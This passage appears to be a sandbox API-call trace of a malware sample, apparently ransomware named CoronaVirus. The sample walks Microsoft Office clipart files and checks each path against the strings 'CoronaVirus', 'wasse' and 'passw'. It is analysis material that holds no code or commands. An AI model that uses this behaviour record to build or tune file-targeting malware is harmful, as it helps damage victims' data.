	[0098.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg", _SubStr="wasse") returned 0x0
	[0098.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg", _SubStr="passw") returned 0x0
	[0098.241] SetThreadPriority (hThread=0xd50, nPriority=15) returned 1
	[0098.245] malloc (_Size=0x1000) returned 0x51f4090
	[0098.245] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg") returned 68
	[0098.252] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.252] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg", _SubStr="wasse") returned 0x0
	[0098.252] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg", _SubStr="passw") returned 0x0
	[0098.258] SetThreadPriority (hThread=0xd58, nPriority=15) returned 1
	[0098.263] malloc (_Size=0x1000) returned 0x51f3088
	[0098.263] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg") returned 68
	[0098.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg", _SubStr="wasse") returned 0x0
	[0098.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg", _SubStr="passw") returned 0x0
	[0098.324] SetThreadPriority (hThread=0xd54, nPriority=15) returned 1
	[0098.327] malloc (_Size=0x1000) returned 0x51f4090
	[0098.327] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg") returned 68
	[0098.327] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.327] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg", _SubStr="wasse") returned 0x0
	[0098.335] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg", _SubStr="passw") returned 0x0
	[0098.345] SetThreadPriority (hThread=0xd60, nPriority=15) returned 1
	[0098.364] malloc (_Size=0x1000) returned 0x51f0070
	[0098.364] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg") returned 68
	[0098.364] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.364] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg", _SubStr="wasse") returned 0x0
	[0098.364] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg", _SubStr="passw") returned 0x0
	[0098.365] SetThreadPriority (hThread=0xd64, nPriority=15) returned 1
	[0098.375] malloc (_Size=0x1000) returned 0x51fa0c0
	[0098.378] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg") returned 68
	[0098.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg", _SubStr="wasse") returned 0x0
	[0098.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg", _SubStr="passw") returned 0x0
	[0098.379] SetThreadPriority (hThread=0xd68, nPriority=15) returned 1
	[0098.404] malloc (_Size=0x1000) returned 0x51f4090
	[0098.404] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg") returned 68
	[0098.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg", _SubStr="wasse") returned 0x0
	[0098.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg", _SubStr="passw") returned 0x0
	[0098.405] SetThreadPriority (hThread=0xd5c, nPriority=15) returned 1
	[0098.408] malloc (_Size=0x1000) returned 0x51f0070
	[0098.408] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg") returned 68
	[0098.408] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.408] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg", _SubStr="wasse") returned 0x0
	[0098.408] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg", _SubStr="passw") returned 0x0
	[0098.591] SetThreadPriority (hThread=0xd6c, nPriority=15) returned 1
	[0098.596] malloc (_Size=0x1000) returned 0x51f5098
	[0098.596] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg") returned 68
	[0098.596] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.606] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg", _SubStr="wasse") returned 0x0
	[0098.606] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg", _SubStr="passw") returned 0x0
	[0098.671] malloc (_Size=0x1000) returned 0x51f0070
	[0098.671] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg") returned 68
	[0098.671] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.671] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg", _SubStr="wasse") returned 0x0
	[0098.671] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg", _SubStr="passw") returned 0x0
	[0098.674] malloc (_Size=0x1000) returned 0x51f4090
	[0098.680] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg") returned 68
	[0098.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg", _SubStr="wasse") returned 0x0
	[0098.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg", _SubStr="passw") returned 0x0
	[0098.806] malloc (_Size=0x1000) returned 0x51f60a0
	[0098.812] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg") returned 68
	[0098.813] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.813] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg", _SubStr="wasse") returned 0x0
	[0098.813] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg", _SubStr="passw") returned 0x0
	[0098.829] malloc (_Size=0x1000) returned 0x51f5098
	[0098.840] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg") returned 68
	[0098.842] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.842] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg", _SubStr="wasse") returned 0x0
	[0098.842] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg", _SubStr="passw") returned 0x0
	[0098.845] malloc (_Size=0x1000) returned 0x51f3088
	[0098.845] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg") returned 68
	[0098.846] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg", _SubStr="wasse") returned 0x0
	[0098.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg", _SubStr="passw") returned 0x0
	[0098.871] malloc (_Size=0x1000) returned 0x51f60a0
	[0098.871] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg") returned 68
	[0098.871] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.871] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg", _SubStr="wasse") returned 0x0
	[0098.871] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg", _SubStr="passw") returned 0x0
	[0098.887] malloc (_Size=0x1000) returned 0x51f3088
	[0098.887] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg") returned 68
	[0098.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg", _SubStr="wasse") returned 0x0
	[0098.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg", _SubStr="passw") returned 0x0
	[0098.890] malloc (_Size=0x1000) returned 0x51f0070
	[0098.890] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg") returned 68
	[0098.890] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.890] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg", _SubStr="wasse") returned 0x0
	[0098.891] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg", _SubStr="passw") returned 0x0
	[0098.914] malloc (_Size=0x1000) returned 0x51f3088
	[0098.914] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg") returned 68
	[0098.914] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.914] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg", _SubStr="wasse") returned 0x0
	[0098.914] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg", _SubStr="passw") returned 0x0
	[0098.924] malloc (_Size=0x1000) returned 0x51f0070
	[0098.925] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg") returned 68
	[0098.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg", _SubStr="wasse") returned 0x0
	[0098.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg", _SubStr="passw") returned 0x0
	[0098.930] malloc (_Size=0x1000) returned 0x51f90b8
	[0098.931] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg") returned 68
	[0098.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg", _SubStr="wasse") returned 0x0
	[0098.931] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg", _SubStr="passw") returned 0x0
	[0098.954] malloc (_Size=0x1000) returned 0x51f3088
	[0098.954] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg") returned 68
	[0098.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg", _SubStr="wasse") returned 0x0
	[0098.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg", _SubStr="passw") returned 0x0
	[0098.975] malloc (_Size=0x1000) returned 0x51f4090
	[0098.975] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg") returned 68
	[0098.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg", _SubStr="wasse") returned 0x0
	[0098.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg", _SubStr="passw") returned 0x0
	[0098.978] malloc (_Size=0x1000) returned 0x51f5098
	[0098.979] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg") returned 68
	[0098.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg", _SubStr="wasse") returned 0x0
	[0098.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg", _SubStr="passw") returned 0x0
	[0099.008] malloc (_Size=0x1000) returned 0x51f0070
	[0099.009] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg") returned 68
	[0099.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg", _SubStr="wasse") returned 0x0
	[0099.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg", _SubStr="passw") returned 0x0
	[0099.015] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.015] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg") returned 68
	[0099.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg", _SubStr="wasse") returned 0x0
	[0099.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg", _SubStr="passw") returned 0x0
	[0099.037] malloc (_Size=0x1000) returned 0x51f5098
	[0099.039] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg") returned 68
	[0099.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg", _SubStr="wasse") returned 0x0
	[0099.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg", _SubStr="passw") returned 0x0
	[0099.104] malloc (_Size=0x1000) returned 0x51f5098
	[0099.104] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg") returned 68
	[0099.104] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.105] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg", _SubStr="wasse") returned 0x0
	[0099.105] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg", _SubStr="passw") returned 0x0
	[0099.108] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.108] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg") returned 68
	[0099.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg", _SubStr="wasse") returned 0x0
	[0099.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg", _SubStr="passw") returned 0x0
	[0099.128] malloc (_Size=0x1000) returned 0x51f0070
	[0099.128] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg") returned 68
	[0099.128] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.128] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg", _SubStr="wasse") returned 0x0
	[0099.128] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg", _SubStr="passw") returned 0x0
	[0099.183] malloc (_Size=0x1000) returned 0x51f80b0
	[0099.183] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg") returned 68
	[0099.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.183] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg", _SubStr="wasse") returned 0x0
	[0099.190] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg", _SubStr="passw") returned 0x0
	[0099.246] malloc (_Size=0x1000) returned 0x51f5098
	[0099.246] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg") returned 68
	[0099.246] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.251] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg", _SubStr="wasse") returned 0x0
	[0099.251] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg", _SubStr="passw") returned 0x0
	[0099.258] malloc (_Size=0x1000) returned 0x51f3088
	[0099.258] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg") returned 68
	[0099.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg", _SubStr="wasse") returned 0x0
	[0099.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg", _SubStr="passw") returned 0x0
	[0099.330] malloc (_Size=0x1000) returned 0x51f0070
	[0099.330] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg") returned 68
	[0099.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg", _SubStr="wasse") returned 0x0
	[0099.330] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309480.jpg", _SubStr="passw") returned 0x0
	[0099.333] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.333] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg") returned 68
	[0099.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.337] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg", _SubStr="wasse") returned 0x0
	[0099.337] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.jpg", _SubStr="passw") returned 0x0
	[0099.342] malloc (_Size=0x1000) returned 0x51f0070
	[0099.353] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg") returned 68
	[0099.353] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.356] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg", _SubStr="wasse") returned 0x0
	[0099.356] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.jpg", _SubStr="passw") returned 0x0
	[0099.359] malloc (_Size=0x1000) returned 0x51f4090
	[0099.359] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg") returned 68
	[0099.366] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.366] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg", _SubStr="wasse") returned 0x0
	[0099.366] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309598.jpg", _SubStr="passw") returned 0x0
	[0099.437] malloc (_Size=0x1000) returned 0x51f5098
	[0099.440] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg") returned 68
	[0099.440] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.440] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg", _SubStr="wasse") returned 0x0
	[0099.440] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309664.jpg", _SubStr="passw") returned 0x0
	[0099.443] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.443] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg") returned 68
	[0099.443] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.443] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg", _SubStr="wasse") returned 0x0
	[0099.443] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.jpg", _SubStr="passw") returned 0x0
	[0099.516] malloc (_Size=0x1000) returned 0x51f0070
	[0099.517] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg") returned 68
	[0099.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg", _SubStr="wasse") returned 0x0
	[0099.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.jpg", _SubStr="passw") returned 0x0
	[0099.522] malloc (_Size=0x1000) returned 0x51f80b0
	[0099.522] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg") returned 68
	[0099.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg", _SubStr="wasse") returned 0x0
	[0099.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.jpg", _SubStr="passw") returned 0x0
	[0099.557] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.557] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg") returned 68
